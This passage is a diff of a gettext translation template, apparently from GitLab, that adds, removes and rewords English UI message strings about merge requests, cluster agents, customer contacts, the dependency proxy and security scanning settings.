msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
